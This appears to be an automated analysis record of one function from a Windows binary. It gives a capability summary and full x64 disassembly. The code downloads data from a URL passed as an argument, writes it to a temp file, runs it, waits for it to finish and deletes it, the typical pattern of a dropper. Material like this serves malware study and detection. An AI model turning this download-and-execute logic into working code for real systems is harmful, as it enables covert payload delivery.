Function at 0x140001350
Capabilities:
Create http request
Create process on windows
Delete file
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x240], rax
cmp ecx, 3
jge 0x14000138e
xor eax, eax
jmp 0x14000177e
mov rsi, qword [rdx + 8]
mov rdi, qword [rdx + 0x10]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x1400013a0
movsxd rdx, ebx
xor r8d, r8d
lea rcx, [rbp]
call section..text
nop
lea rax, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rax, qword [rbp]
xor r14d, r14d
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rdx, [0x140012418]
mov ecx, r14d
nop
movzx eax, word [rdi + rcx*2]
cmp ax, word [rdx + rcx*2]
jne 0x14000173e
movzx eax, word [rdi + rcx*2 + 2]
cmp ax, word [rdx + rcx*2 + 2]
jne 0x14000173e
add rcx, 2
cmp rcx, 0x10
jne 0x140001400
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp word [rsi + rbx*2], r14w
jne 0x140001430
inc ebx
movsxd rdx, ebx
xor r8d, r8d
lea rcx, [rbp - 0x20]
call section..text
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rax, qword [rbp - 0x20]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rsi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rbx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rbx, qword [rbp - 0x20]
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [0x140012410]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x1400016ea
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x84000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r15, rax
test rax, rax
je 0x1400016e1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov edx, 8
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
mov rcx, r15
test rax, rax
je 0x1400016db
mov edi, r14d
lea r9, [rsp + 0x50]
mov r8d, 0x400
mov rdx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000157b
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x14000157b
add edi, eax
lea ebx, [rdi + 0x400]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r9d, ebx
mov r8, rsi
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x1400016c4
mov rsi, rax
mov edx, edi
add rdx, rax
lea r9, [rsp + 0x50]
mov r8d, 0x400
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001528
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test rsi, rsi
je 0x1400016ea
lea rdx, [rbp + 0x130]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, [rbp + 0x20]
xor r8d, r8d
lea rdx, [0x140012414]
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400016ae
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x54]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x70], 0x68
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400016ae
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400016f0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r14d, 0xffffffff
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14000172b
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001726
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017af
call fcn.140001908
movdqa xmm0, xmmword [0x140012440]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
jmp 0x140001744
mov r14d, 0xffffffff
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000177b
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001776
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017a9
call fcn.140001908
mov eax, r14d
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.140001a20
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.140007534
nop
call fcn.140007534
nop
int3